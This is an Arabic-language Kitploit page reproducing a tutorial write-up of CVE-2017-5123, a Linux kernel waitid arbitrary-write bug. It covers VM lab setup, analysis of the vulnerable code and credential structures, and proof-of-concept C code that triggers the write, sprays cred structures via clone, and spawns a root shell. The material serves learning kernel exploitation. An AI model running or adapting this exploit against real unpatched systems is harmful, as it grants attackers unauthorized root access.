Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-5123 — إثبات المفهوم CVE-2017-5123 - تصعيد الامتيازات المحلية - تجاوز SMEP/SMAP. بدون KASLR | Kitploit
أدوات/GitHubGitHub/c3r34lk1ll3r/cve-2017-5123
تصعيد الامتيازاتالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubc3r34lk1ll3r/cve-2017-5123

CVE-2017-5123

إثبات المفهوم CVE-2017-5123 - تصعيد الامتيازات المحلية - تجاوز SMEP/SMAP. بدون KASLR

عرض المستودع
3344منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-5123

PoC CVE-2017-5123 - LPE - تجاوز SMAP/SMEP. بدون KASLR

تطبيق waitid في النواة الرئيسية لم يحد من الوجهة المستهدفة لنسخ معلومات النتائج. يمكن أن يسمح هذا للمستخدمين المحليين بالكتابة إلى ذاكرة النواة المحمية بخلاف ذلك، مما قد يؤدي إلى رفع الامتيازات.

مقدمة

في هذا الشرح الصغير، سأقوم بتحليل ثغرة في النواة تسمح لنا بالحصول على امتياز الجذر.

ينقسم هذا الملف إلى أربعة أجزاء:

  1. إعداد الجهاز الظاهري;
  2. تحليل الثغرة;
  3. الاستغلال;
  4. إثبات المفهوم.

أود أن أشير إلى أن هناك العديد من الطرق الأفضل لاستغلال هذا CVE (في الواقع، هذا مجرد PoC لتعلم النواة، ولا يمكن استخدامه في الواقع) لكنني أعتقد أن هذه المنهجية يمكن أن تكون مفيدة كمقدمة لاستغلال النواة.

إعداد الجهاز الظاهري

بناء النواة

تم تقديم هذه الثغرة في 4c48abe91be0 لذا نحتاج إلى بناء هذا الإصدار من النواة.

قد يكون هذا صعبًا بعض الشيء لأنه إصدار قديم ويجب تصحيح الكود. لقد قمت بإنشاء مستودع يحتوي على كود نواة مصحح بالفعل وملف .config حتى تتمكن من الاستنساخ والبناء.

root@kitploit:~
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse

لاحظ أن هذه النواة سيتم بناؤها مع برامج تشغيل virtio حتى تتمكن من استخدام قرص virtio لمشاركة الملفات من/إلى الجهاز الظاهري.

إعداد نظام الجذر

الآن، سنقوم بإنشاء rootfs الأولي:

root@kitploit:~
qemu-img create -f raw hda.raw 10G
# تنسيق القرص إلى ext4
mkfs.ext4 ./hda.raw 
# إنشاء نقطة تحميل للصورة
mkdir /tmp/mount1
# تحميل القرص
sudo mount -o loop ./hda.raw /tmp/mount1

بعد ذلك، يجب علينا تثبيت توزيعة لينكس أساسية، على سبيل المثال باستخدام pacstrap أو debootstrap.

root@kitploit:~
sudo pacstrap /tmp/mount1 base base-devel vim

أخيرًا، يمكننا تعديل النظام:

root@kitploit:~
# إضافة مستخدم 'test'
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# بدون كلمة مرور
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
# يمكننا تحميل قرص virtio لمشاركة الملفات بين المضيف والضيف
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared 
# من المفيد الحصول على صلاحية sudo
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group

sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1

إذا كان كل شيء على ما يرام، يمكننا الآن تجربة نظام الاختبار الخاص بنا باستخدام qemu:

root@kitploit:~
qemu-system-x86_64 \
    -kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
    -hda ./hda.raw \
    -m 4G \
    -cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
    -smp 4 \
    -vga virtio \
    -enable-kvm \
    -nographic \
    -machine type=q35,accel=kvm \
    -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
    -append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
    -chardev "vc,id=vc.0,cols=1920,rows=1080" \
    -net "user,hostfwd=tcp::10022-:22" \
    -net "nic" \
    -s

الثغرة

يصف وصف الـ CVE وجود عملية كتابة غير مقيدة أثناء استدعاء النظام waitid.

لنفتح kernel/exit.c وننظر إلى الكود:

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;
    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

هذه الدالة مباشرة إلى حد ما: بعد بضع عمليات فحص، هناك استدعاءات متعددة لـ unsafe_put_user(...) ثم تعود الدالة.

الجزء الرئيسي من هذه الدالة يتكون من دالة unsafe_put_user(...) لذا دعنا ننتقل إلى هناك (arch/x86/include/asm/uaccess.h):

root@kitploit:~
/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */
#define user_access_begin()	__uaccess_begin()
#define user_access_end()	__uaccess_end()

#define unsafe_put_user(x, ptr, err_label)					\
do {										\
    int __pu_err;								\
    __typeof__(*(ptr)) __pu_val = (x);					\
    __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
    if (unlikely(__pu_err)) goto err_label;					\
} while (0)

#define unsafe_get_user(x, ptr, err_label)					\
do {										\
    int __gu_err;								\  
    __inttype(*(ptr)) __gu_val;						\
    __get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
    (x) = (__force __typeof__(*(ptr)))__gu_val;				\
    if (unlikely(__gu_err)) goto err_label;					\
} while (0)

هناك تحذير كبير جدًا في التعليق: إذا كنت تريد استخدام unsafe_put/get_user، يجب عليك أولاً استدعاء access_ok() وإحاطتها بـ user_access_begin/end().

إذا ألقينا نظرة على الكود السابق (waitid)، يمكننا أن نرى أن access_ok() لم يتم استدعاؤها أبدًا، لذا فإن استدعاء النظام ينتهك هذا التحذير.

ولكن ما هي هذه الماكرو?

SMAP/SMEP

SMAP و SMEP هما ميزتان أمنيتان تم تقديمهما في النواة من أجل جعل كتابة الاستغلالات أكثر صعوبة. وتجدر الإشارة إلى أن هذه الميزات يتم فرضها بواسطة وحدة المعالجة المركزية.

SMEP تمنع تنفيذ كود مساحة المستخدم بينما تكون وحدة المعالجة المركزية في وضع المشرف؛ SMAP، بدلاً من ذلك، تمنع الوصول للقراءة/الكتابة إلى ذاكرة المستخدم.

تحتاج النواة إلى كتابة/قراءة البيانات من/إلى ذاكرة المستخدم ويمكن تحقيق ذلك بطريقتين:

  1. هناك دوال (مثل copy_from_user) تسمح بنسخ الذاكرة في مساحة النواة؛
  2. تعطيل SMAP مؤقتاً

كما نرى في تعريف unsafe_put_user، ستقوم هذه الدالة فقط بنسخ قيمة x في الذاكرة المشار إليها بواسطة ptr (وتنتقل إلى err_label إذا حدث خطأ). لقد قلنا للتو أن النواة لا يمكنها الوصول إلى مساحة المستخدم بسبب SMAP ولهذا السبب يجب أن تكون هذه الدوال محاطة بين user_access_begin/end().

root@kitploit:~
#define __uaccess_begin() stac()
#define __uaccess_end()   clac()

كما نرى، user_access_begin/end هما ببساطة تعليمة ASM stac و clac.

  • stac: "يضبط بت AC في سجل EFLAGS. قد يتيح ذلك فحص المحاذاة لوصول بيانات وضع المستخدم. يسمح هذا بوصول صريح لوضع المشرف إلى صفحات وضع المستخدم حتى إذا تم تعيين بت SMAP في سجل CR4."
  • clac: "يمسح بت AC في سجل EFLAGS. يعطل هذا أي فحص محاذاة لوصول بيانات وضع المستخدم. إذا تم تعيين بت SMAP في سجل CR4، فإن هذا يمنع الوصول الصريح لوضع المشرف إلى صفحات وضع المستخدم."

بشكل أساسي، تقوم هاتان الماكرو بتمكين/تعطيل SMAP.

تحذيرنا السابق يذكر أيضًا دالة access_ok:

root@kitploit:~
/**
 * access_ok: - تتحقق مما إذا كان مؤشر مساحة المستخدم صالحًا
 * @type: نوع الوصول: %VERIFY_READ أو %VERIFY_WRITE. لاحظ أن
 *        %VERIFY_WRITE هي مجموعة شاملة من %VERIFY_READ - إذا كان من الآمن
 *        الكتابة إلى كتلة، فمن الآمن دائمًا القراءة منها.
 * @addr: مؤشر مساحة المستخدم إلى بداية الكتلة المراد فحصها
 * @size: حجم الكتلة المراد فحصها
 *
 * السياق: سياق المستخدم فقط. قد تنام هذه الدالة إذا تم تمكين أخطاء الصفحة.
 *
 * تتحقق مما إذا كان المؤشر إلى كتلة من الذاكرة في مساحة المستخدم صالحًا.
 *
 * ترجع صحيحًا (غير صفري) إذا كانت كتلة الذاكرة قد تكون صالحة، خطأ (صفر)
 * إذا كانت بالتأكيد غير صالحة.
 *
 * لاحظ أنه، اعتمادًا على البنية، ربما تتحقق هذه الدالة فقط من أن المؤشر
 * في نطاق مساحة المستخدم - بعد استدعاء هذه الدالة، قد تظل دوال الوصول
 * إلى الذاكرة ترجع -EFAULT.
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

التعليق هنا واضح بنفسه: هذا الماكرو يتحقق مما إذا كان المؤشر مؤشرًا صالحًا لمساحة المستخدم.

كتابة عشوائية

لنلقِ نظرة أخرى على كود waitid:

root@kitploit:~
	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();

كما خمنت بالفعل، يؤدي غياب access_ok() إلى كتابة عشوائية في أي مكان في الذاكرة لأن المؤشر infop يتم التحكم فيه بالكامل من قبل المهاجم.

تفعيل الخلل

من السهل جدًا الوصول إلى المسار القابل للاستغلال ويمكننا إنشاء مشغل بهذا الكود البسيط:

root@kitploit:~
int thread_ready;
int die_thread(void *arg){
    thread_ready=1;
    syscall(__NR_sched_yield);
    return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
  printf("[0] محاولة الكتابة فوق 0x%016lx\r", where);
  //int pid = fork(); // من الممكن أيضًا استخدام استدعاء النظام fork
  thread_ready = 0; 
  int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
  int err;
  while(thread_ready == 0) {syscall(__NR_sched_yield);} // يجب أن ننتظر الخيط
  err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
  return err;
}

هذا الكود البسيط سيؤدي إلى تفعيل الثغرة والكتابة في الذاكرة المشار إليها بواسطة عنوان where.

يمكننا استخدام gdb إذا أردنا التحقق من هذا المشغل. على سبيل المثال، يمكننا تحديد عنوان عشوائي واستخدام دالة trigger_bug للكتابة فوقه.

الاستغلال

يمكن استغلال هذه الثغرة بطرق متعددة لكنني أفضل نهجًا بسيطًا جدًا.

تذكر أنه يمكننا الكتابة في أي مكان نريده ولكن البيانات المكتوبة مسيطر عليها جزئيًا. يمكننا الكتابة فوق عنوان بـ 0.

الفكرة الأساسية هي الكتابة فوق UID لعمليةنا ونصبح الجذر لكننا نحتاج أولاً إلى فهم ما هي بيانات الاعتماد في لينكس.

Fork

نبدأ بالتعمق في استدعاء النظام fork. تستخدم هذه الدالة لإنشاء عمليات جديدة.

يمكننا فحص الكود في kernel/fork.c:

root@kitploit:~
SYSCALL_DEFINE0(fork)
{
	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}

لذا، فإن استدعاء النظام fork هو ببساطة مغلف لـ _do_fork مع معلمات مجمدة.

هذه الدالة الأخيرة طويلة بعض الشيء ولكن يمكننا تلخيصها بهذه الطريقة:

root@kitploit:~
long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;
  ......

  // سيؤدي هذا إلى إنشاء task_struct آخر لكنه لن يبدأ العملية. 
	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
	add_latent_entropy();
  ......
    // إيقاظ المهمة المنشأة حديثًا. سيؤدي هذا إلى تعيين حالة المهمة على RUNNING ووضعها في قائمة الانتظار الجارية
		wake_up_new_task(p);
  ......
		put_pid(pid);
	} else {
		nr = PTR_ERR(p);
	}
	return nr;
}

ستقوم هذه الدالة بتخصيص كائن task_struct جديد. على الرغم من أن هذه البنية مهمة جدًا (تصف عملية)، سنركز انتباهنا على حقل cred:

root@kitploit:~
...
	/* بيانات اعتماد العملية: */
	/* بيانات اعتماد المتتبع عند الإرفاق: */
	const struct cred __rcu		*ptracer_cred;

	/* بيانات اعتماد المهمة الموضوعية والحقيقية الذاتية (COW): */
	const struct cred __rcu		*real_cred;

	/* بيانات اعتماد المهمة الذاتية الفعالة (القابلة للتجاوز) (COW): */
	const struct cred __rcu		*cred;
  ...

كما نرى، هناك (ثلاثة) مؤشرات إلى struct cred. دعنا نرى كيف تتكون هذه البنية (include/linux/cred.h):

root@kitploit:~
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* عدد العمليات المشتركة */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* UID الحقيقي للمهمة */
	kgid_t		gid;		/* GID الحقيقي للمهمة */
	kuid_t		suid;		/* UID المحفوظ للمهمة */
	kgid_t		sgid;		/* GID المحفوظ للمهمة */
	kuid_t		euid;		/* UID الفعال للمهمة */
	kgid_t		egid;		/* GID الفعال للمهمة */
	kuid_t		fsuid;		/* UID لعمليات VFS */
	kgid_t		fsgid;		/* GID لعمليات VFS */
  ......

كما نرى، UID لعملية هو ببساطة عدد صحيح غير موقع (اتبع تعريف kuid_t) لذا يمكننا ببساطة الكتابة فوق هذه القيمة بـ 0 لنصبح الجذر.

Copy_process

يتم تخصيص بنية task_struct في دالة copy_process وهي معقدة بعض الشيء وهدفها الرئيسي هو "نسخ" العملية إلى عملية جديدة.

يمكننا التركيز على copy_creds(p, clone_flags) المعرفة كالتالي:

root@kitploit:~
/*
 * نسخ بيانات الاعتماد للعملية الجديدة التي تم إنشاؤها بواسطة fork()
 *
 * نشارك إذا استطعنا، ولكن في بعض الظروف يجب علينا إنشاء مجموعة جديدة.
 *
 * تحصل العملية الجديدة على بيانات الاعتماد الذاتية للعملية الحالية كبيانات
 * اعتماد موضوعية وذاتية
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

.........

error_put:
	put_cred(new);
	return ret;
}

كما نرى، تستدعي هذه الدالة prepare_creds حيث يتم تنفيذ التخصيص الحقيقي.

لدينا الآن مسار لتخصيص عدد (شبه) عشوائي من struct cred:

  1. _do_fork()
  2. copy_process()
  3. copy_creds()

مشكلتنا الأخيرة هي كيفية استدعاء _do_fork() من مساحة المستخدم. يمكننا استخدام fork ولكن هذا قد يكون بطيئًا لذا سنستخدم clone بدلاً من ذلك.

ملاحظة: لا يمكننا استخدام pthread بسبب الأعلام: إذا نظرت إلى الكود copy_creds يجب أن تلاحظ أن هناك مسارًا حيث لا يتم تخصيص البنية حقًا.

تجميع كل شيء

الآن، خلاصة صغيرة:

  1. نحن قادرون على تفعيل الخلل والكتابة في الذاكرة
  2. نحن نعلم أنه يمكننا كتابة 0 في الذاكرة
  3. نحن نعلم أنه إذا كتبنا فوق UID لعملية ما بـ 0، فإنها تحصل على صلاحيات الجذر.

الآن نحتاج إلى معرفة أين نكتب في الذاكرة، وعلى الرغم من تعطيل KASLR، فإن عنوان struct cred واحد ليس مستقرًا بما يكفي لذا قررت المتابعة باستخدام رش الذاكرة.

الرش

نحتاج إلى العثور على struct cred في الذاكرة من أجل اكتشاف نطاق من العناوين. يمكننا استخدام gdb و python مع نص برمجي مثل هذا:

root@kitploit:~
....
for task in task_lists():
    #gdb.write("{address} {pid} {comm}\n".format(
    #    address=task,
    #    pid=task["pid"],
    #    comm=task["comm"].string()))
    comm = task["comm"].string()
    # أدخل اسم القابل للتنفيذ الخاص بك
    if comm == "exploit":
        print(task['cred'])
....

ملاحظة: يعمل هذا النص البرمجي فقط مع تعطيل KASLR ومع رموز التصحيح (نحتاج إلى مؤشر init_task). يمكننا المحاولة عدة مرات ويمكننا أن نرى أن الكومة تنمو لأسفل لذا يمكننا تجربة عنوان أقل والصعود.

الآن يمكننا استخدام استدعاء النظام clone لتوليد الكثير من العمليات وبفضل gdb يمكننا التحقق من العناوين:

root@kitploit:~
stack=malloc(STACK_SIZE)+STACK_SIZE;
  for(x=0;x<MAX_THREADS;x++){
    stackTop = malloc(STACK_SIZE) + STACK_SIZE;
    if (!stackTop){
      perror("[-] Malloc");
      return -1;
    }
    // دالة spray_thread يمكن أن تكون ببساطة حلقة لا نهائية
    pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
    if (pid == -1){
      perror("\n\nCLONE");
      return -1;
    }
    printf("[0] تم إنشاء العملية: %d\r", x);
    }

ملاحظة: ربما لا يمكنك إنشاء أكثر من 4k عمليات. تحقق من ulimits إذا كانت هذه هي الحالة.

إثبات المفهوم

أخيرًا، يمكننا كتابة PoC الخاص بنا.

يكفي استدعاء trigger_bug بعناوين مختلفة (البحث عن البنية) بينما تقوم خيوطنا المنتشرة بفحص UID الخاص بها، مثل هذا:

root@kitploit:~
struct shared_area{
  int one_win;
};
struct shared_area glob_var;

// خيط منتشر
int spray_thread(void *arg){
  int uid;
  int previous_one = syscall(__NR_getuid);
  // حلقة على استدعاء النظام getUID
  while(1){
    uid = syscall(__NR_getuid);
    //printf("UID: %d\n",uid);
    // إذا كان UID المرتجع مختلفًا عن السابق، فقد أصابنا منطقة struct cred
    if (uid != previous_one){
      printf("فوز!! مع %d", uid);
      // قتل الخيوط الأخرى لتحقيق الاستقرار للنظام
      glob_var.one_win = 1;
      // ببساطة افتح شيل
      system("/bin/sh");
    }
    if(glob_var.one_win == 1)
      return 1;
  }
  return 0;
}

هناك احتمال بنسبة 50% لإصابة البنية لذا بعد بضع محاولات يمكنك الحصول على امتياز الجذر.

الجذر

الخاتمة

هذا هو PoC (أساسي) والرش بعيد عن الكمال. هذه مجرد "مقدمة" إلى عالم النواة الرائع، هناك العديد من المفاهيم التي تخطيتها لكنها مهمة جدًا (مثل إدارة الذاكرة). إذا كنت ترغب في الدراسة بشكل أعمق، يمكنك إلقاء نظرة على prepare_creds وتخصيصات الذاكرة.

تم تعطيل KASLR ولكن هذه الثغرة تسمح بتجاوز هذا التخفيف أيضًا (unsafe_put_user لا يتعطل مع عنوان غير صالح) لكنني لا أعتقد أن إضافة "طبقة" جديدة من القوة العمياء مفيدة إذا كان هدفك هو تعلم النواة. إذا كان هدفك هو استخدام هذه الثغرة في الواقع، يجب عليك كتابة استغلال مختلف (على الأقل، رش مختلف).

طعام للفكر: استخدمت هذه الثغرة لفهم ومحاولة تقنية ret2dir (تلميح: يمكنك تفعيل الكتابة في عنوان الاسم المستعار وقراءة التعديل باستخدام عنوان مساحة المستخدم).

المراجع

  • https://salls.github.io/Linux-Kernel-CVE-2017-5123/
  • https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
تنزيل الأداة